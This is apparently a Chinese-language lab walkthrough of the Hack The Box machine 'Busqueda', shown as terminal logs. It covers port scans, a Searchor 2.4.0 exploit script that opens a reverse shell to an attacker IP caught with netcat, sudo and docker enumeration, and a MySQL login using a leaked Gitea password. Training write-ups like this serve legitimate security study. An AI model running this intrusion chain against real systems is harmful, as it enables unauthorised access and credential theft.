┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=1000010.10.11.208 -oG allports -Pn [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-19 06:25 CST RTTVAR has grown to over 2.3 seconds, decreasing to 2.0 RTTVAR has grown to over 2.3 seconds, decreasing to 2.0 Warning: 10.10.11.208 giving up on port because retransmission cap hit (10). Nmap scan report for10.10.11.208 Host is up (3.8s latency). Not shown: 46786 filtered tcp ports (no-response), 18747 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 81.94 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p22,80 -sC -sV --min-rate=1000010.10.11.208 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-19 06:28 CST Nmap scan report for10.10.11.208 Host is up (0.15s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2564f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA) |_ 25681:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://searcher.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.52 seconds
3、绑定下本地hosts域名
1 2 3
┌──(kali㉿offsec)-[~/Desktop/tools/htb-portscan] └─$ echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts 10.10.11.208 searcher.htb
4、查看下域名信息
http://searcher.htb/
1 2
Powered by Flask and Searchor 2.4.0 由Flask和Searchor提供技术支持2.4.0
┌──(kali㉿offsec)-[~/Desktop] └─$ ./exploit.sh searcher.htb 10.10.16.2 ---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]--- [*] Input target is searcher.htb [*] Input attacker is 10.10.16.2:443 [*] Run the Reverse Shell... Press Ctrl+C after successful connection
┌──(kali㉿offsec)-[~/Desktop] └─$ rlwrap nc -lnvp 443 listening on [any] 443 ... connect to [10.10.16.2] from (UNKNOWN) [10.10.11.208] 36680 bash: cannot set terminal process group (1645): Inappropriate ioctl for device bash: no job control in this shell svc@busqueda:/var/www/app$ id id uid=1000(svc) gid=1000(svc) groups=1000(svc) svc@busqueda:/var/www/app$
svc@busqueda:/var/www/app$ sudo -l sudo -l sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper sudo: a password is required svc@busqueda:/var/www/app$ python -c 'import pty; pty.spawn("/bin/bash")' python -c 'import pty; pty.spawn("/bin/bash")' Command 'python' not found, did you mean: command 'python3' from deb python3 command 'python' from deb python-is-python3 svc@busqueda:/var/www/app$
if engine in Engine.__members__.keys(): arg_list = ['searchor', 'search', engine, query] r = subprocess.run(arg_list, capture_output=True) url = r.stdout.strip().decode() if auto_redirect is not None: return redirect(url, code=302) else: return url
┌──(kali㉿offsec)-[~/Desktop] └─$ ssh svc@10.10.11.208 The authenticity of host '10.10.11.208 (10.10.11.208)' can't be established. ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA. This key is not known by any other names. Are you sure you want to continueconnecting(yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.208' (ED25519) to the list of known hosts. svc@10.10.11.208's password: Welcome to Ubuntu 22.04.2 LTS(GNU/Linux 5.15.0-69-generic x86_64)
System information as of Thu Apr 18 03:10:58 PM UTC 2024
System load: 0.0 Usage of /: 81.1% of 8.26GB Memory usage: 56% Swap usage: 0% Processes: 236 Users logged in: 0 IPv4 address for br-c954bf22b8b2: 172.20.0.1 IPv4 address for br-cbf2c5ce8e95: 172.19.0.1 IPv4 address for br-fba5a3e31476: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.10.11.208
* Introducing Expanded Security Maintenance for Applications. Receive updates to over 25,000 software packages with your Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update
Last login: Tue Apr 4 17:02:09 2023 from 10.10.14.19 svc@busqueda:~$
svc@busqueda:~$ id uid=1000(svc) gid=1000(svc) groups=1000(svc) svc@busqueda:~$ sudo -l [sudo] password for svc: Matching Defaults entries for svc on busqueda: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda: (root) /usr/bin/python3 /opt/scripts/system-checkup.py * svc@busqueda:~$
svc@busqueda:~$ ls -la /opt/scripts/system-checkup.py -rwx--x--x 1 root root 1903 Dec 242022 /opt/scripts/system-checkup.py svc@busqueda:~$ cat /opt/scripts/system-checkup.py cat: /opt/scripts/system-checkup.py: Permission denied svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py Sorry, user svc is not allowed to execute '/usr/bin/python3 /opt/scripts/system-checkup.py' as root on busqueda. svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py Sorry, user svc is not allowed to execute '/usr/bin/python3 /opt/scripts/system-checkup.py' as root on busqueda. svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py * Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers docker-inspect : Inpect a certain docker container full-checkup : Run a full system checkup
svc@busqueda:~$
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…"15 months ago Up 55 minutes 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea f84a6b33fb5a mysql:8"docker-entrypoint.s…"15 months ago Up 55 minutes 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
svc@busqueda:/tmp$ mysql -h 172.19.0.3 -u gitea -pyuiu1hoiu4i5ho1uh gitea mysql: [Warning] Using a password on the command line interface can be insecure. Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 60 Server version: 8.0.31 MySQL Community Server - GPL
Copyright(c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.